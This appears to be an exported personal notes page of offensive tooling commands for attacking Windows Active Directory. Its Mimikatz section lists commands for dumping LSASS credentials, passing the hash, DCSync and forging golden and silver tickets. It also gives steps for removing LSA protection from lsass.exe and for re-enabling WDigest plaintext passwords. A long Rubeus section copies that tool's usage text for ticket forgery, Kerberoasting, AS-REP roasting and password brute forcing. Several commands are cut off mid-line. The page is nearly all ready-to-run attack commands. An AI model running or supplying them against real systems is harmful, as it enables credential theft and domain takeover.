






Tools

 Owner	 Raymond Soreng
 Tags	

▼ Mimikatz

▼ Ful List

```
#general
privilege::debug
log
log customlogfilename.log

#sekurlsa
sekurlsa::logonpasswords
sekurlsa::logonPasswords full
sekurlsa::tickets /export
sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f
193d757b4d487ab7e5a3743f038f713 /run:cmd

#kerberos
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolat
e.local /sid:S-1-5-21-130452501-2365100805-3685010670 /k
rbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolat
e.kirbi

#crypto
```

```
crypto::capi
crypto::cng
crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
crypto::keys /export
crypto::keys /machine /export

#vault & lsadump
vault::cred
vault::list
token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
lsadump::dcsync /user:domain\krbtgt /domain:lab.local

#pth
sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe

#ekeys
sekurlsa::ekeys
```

```

#dpapi
sekurlsa::dpapi

#minidump
sekurlsa::minidump lsass.dmp

#ptt
kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi

#golden/silver
kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi
kerberos::golden /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42 /user:Administrateur /id:500 /groups:513,512,520,518,519 /ptt /startoffset:-10 /endin:600 /renewmax:10080
kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbefboobbabe003133700009999 /ticket:Administrator.kirbi

#tgt
kerberos::tgt

#purge
kerberos::purge

```

▼ Execute Commands

```

"privilege::debug" "sekurlsa::logonpasswords" exit

privilege::debug

```

```
log
sekurlsa::logonpasswords
sekurlsa::wdigest
```

▼ Extract Passwords

```
sekurlsa::logonPasswords full
sekurlsa::wdigest

# to re-enable wdigest in Windows Server 2012+
# in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Sec
# create a DWORD 'UseLogonCredential' with the value 1.
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProv:
```

▼ LSA Protection Workaround

```
# Check if LSA runs as a protected process by looking if tl
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

# Next upload the mimidriver.sys from the official mimikatz
# Now lets import the mimidriver.sys to the system
mimikatz # !+

# Now lets remove the protection flags from lsass.exe proce
mimikatz # !processprotect /process:lsass.exe /remove

# Finally run the logonpasswords function to dump lsass
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords

# Now lets re-add the protection flags to the lsass.exe pro
mimikatz # !processprotect /process:lsass.exe

# Unload the service created
```

```

mimikatz # !-

# https://github.com/itm4n/PPLdump
PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>
PPLdump.exe lsass.exe lsass.dmp
PPLdump.exe -v 720 out.dmp

tasklist | findstr lsaiso
misc::memssp

```

▼ Nishang

▼ Rubeus

```

      _____
     (_____\      | |
          _____) )_  _| |__  _____  _  _  _
|  _  _/| | | | | _\| __| | | | |/_|
| | \ \ | | | | |_) ) ____| | | |__|
|_|  | | |____/|____/|____)____/(_|/

```

v2.1.1

Ticket requests and renewals:

Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:

```

Rubeus.exe asktgt /user:USER </password:PASSWORD [ /
entype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /a
es128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CON
TROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/ops

```

```
ec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]
```

Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:

```
Rubeus.exe asktgt /user:USER </password:PASSWORD [/  
enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /a  
es128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CON  
TROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/ops  
ec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]
```

Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:

```
Rubeus.exe asktgt /user:USER </password:PASSWORD [/  
enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /a  
es128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System  
32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]  
[/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kd  
cproxy]
```

Retrieve a TGT using a PKCS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session:

```
Rubeus.exe asktgt /user:USER /certificate:C:\temp\l  
eaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windo  
ws\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKE  
Y] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowra  
p] [/proxyurl:https://KDC_PROXY/kdcproxy]
```

Retrieve a TGT using a certificate from the users key store (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session:

```
Rubeus.exe asktgt /user:USER /certificate:f063e6f47  
98af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\S
```

```
system32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
```

Retrieve a TGT suitable for changing an account with an expired password using the changepw command

```
Rubeus.exe asktgt /user:USER </password:PASSWORD /change  
pw [/encype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
```

Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:

```
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/encype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> > [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
```

Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:

```
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
```

Perform a Kerberos-based password bruteforcing attack:

```
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
```

Constrained delegation abuse:

Perform S4U constrained delegation abuse:

```
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI  
> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /  
msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CO  
NTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/s  
elf] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonl  
y:C:\Windows\System32\cmd.exe] [/show]
```

```
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH  
> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /  
tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVIC  
E] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/now  
rap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:http  
s://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32  
\cmd.exe] [/show]
```

Perform S4U constrained delegation abuse across domain
s:

```
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH  
> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /  
tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAI  
N.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/d  
c:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnet  
only:C:\Windows\System32\cmd.exe] [/show]
```

Ticket Forgery:

Forge a golden ticket using LDAP to gather the relevant
information:

```
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:  
HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [ou  
tfile:FILENAME] [/ptt]
```

Forge a golden ticket using LDAP to gather the relevant
information but explicitly overriding some values:


```
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:
HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CON
TROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:D
OMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEG
ER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_I
DS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOME
DRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastl
ogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:P
ASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLAST
SET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PR
OFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SI
DS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroup
s:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_
TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:REL
ATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/ran
geinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfil
e:FILENAME] [/ptt]
```

Forge a golden ticket, setting values explicitly:

```
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:
HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </si
d:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOM
AIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/
flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/
pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE]
[/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LO
GON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD
_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/
minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_P
ATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/
resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP
_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTA
MP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_T
O_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinter
val:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILEN
AME] [/ptt]
```

Forge a silver ticket using LDAP to gather the relevant information:

```
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
```

Forge a silver ticket using LDAP to gather the relevant information, using the KRBTGT key to calculate the KDCChecksum and TicketChecksum:

```
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbentype:DES|RC4|AES128|AES256] [/printcmd] [outfile:FILENAME] [/ptt]
```

Forge a silver ticket using LDAP to gather the relevant information but explicitly overriding some values:

```
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/displayname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/printcmd] [outfile:FILENAME] [/ptt]
```

Forge a silver ticket using LDAP to gather the relevant

information and including an S4U Delegation Info PAC section:

```
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]
```

Forge a silver ticket using LDAP to gather the relevant information and setting a different cname and crealm:

```
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]
```

Forge a silver ticket, setting values explicitly:

```
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalynname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]
```

Forge a diamond TGT by requesting a TGT based on a user

password/hash:

```
Rubeus.exe diamond /user:USER </password:PASSWORD  
[/encype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH |  
/aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\Sys  
tem32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/o  
utfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/  
ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP  
_IDS] [/sids:EXTRA_SIDS]
```

Forge a diamond TGT by requesting a TGT using a PKCS12 certificate:

```
Rubeus.exe diamond /user:USER /certificate:C:\temp  
\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Wi  
ndows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTRO  
LLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbke  
y:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/gr  
oups:GROUP_IDS] [/sids:EXTRA_SIDS]
```

Forge a diamond TGT by requesting a TGT using tgtdeleg:

```
Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Win  
dows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid]  
[/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuse  
rid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
```

Ticket management:

Submit a TGT, optionally targeting a specific LUID (if elevated):

```
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI  
> [/luid:LOGINID]
```

Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):

```
Rubeus.exe purge [/luid:LOGINID]
```

Parse and describe a ticket (service ticket or TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.
KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH]
[/serviceuser:USERNAME] [/servicedomain:DOMAIN]

Ticket extraction and harvesting:

Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service:

Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID:

Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:

Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]

Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:

Rubeus.exe tgtdeleg [/target:SPN]

Monitor every /interval SECONDS (default 60) for new TGTs:

Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]

Monitor every /monitorinterval SECONDS (default 60) for

new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200):

```
Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
```

Roasting:

Perform Kerberoasting:

```
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/\spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
```

Perform Kerberoasting, outputting hashes to a file:

```
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/\spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]
```

Perform Kerberoasting, outputting hashes in the file output format, but to the console:

```
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/\spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
```

Perform Kerberoasting with alternate credentials:

```
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/\spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
```

Perform Kerberoasting with an existing TGT:

```
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
```

Perform Kerberoasting with an existing TGT using an enterprise principal:

```
Rubeus.exe kerberoast </spn:user@domain.com | /spn
s:user1@domain.com,user2@domain.com> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
```

Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail:

```
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]
```

Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:

```
Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
```

Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:

```
Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
```

List statistics about found Kerberoastable accounts without actually sending ticket requests:

```
Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
```

Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter):

```
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
```

Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:

```
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
```

Perform Kerberoasting, with a delay of 5000 millisecond

s and a jitter of 30%:

```
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
```

Perform AES Kerberoasting:

```
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
```

Perform AS-REP "roasting" for any users without preauth:

```
Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
```

Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file:

```
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]
```

Perform AS-REP "roasting" for any users without preauth using alternate credentials:

```
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
```

Miscellaneous:

Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:

```
Rubeus.exe createnonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.KIRBI]
```

Reset a user's password from a supplied TGT (AoratoPw):

```
Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME]
```


Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes:

```
Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]
```

Substitute an sname or SPN into an existing service ticket:

```
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/ptt] [/luid] [/nowrap]
```

```
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/ptt] [/luid] [/nowrap]
```

Display the current user's LUID:

```
Rubeus.exe currentluid
```

Display information about the (current) or (target) logon session, default all readable:

```
Rubeus.exe logonsession [/current] [/luid:X]
```

The "/consoleoutfile:C:\FILE.txt" argument redirects all console output to the file specified.

The "/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function.

The "/debug" flag outputs ASN.1 debugging information.

NOTE: Base64 ticket blobs can be decoded with :

```
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
```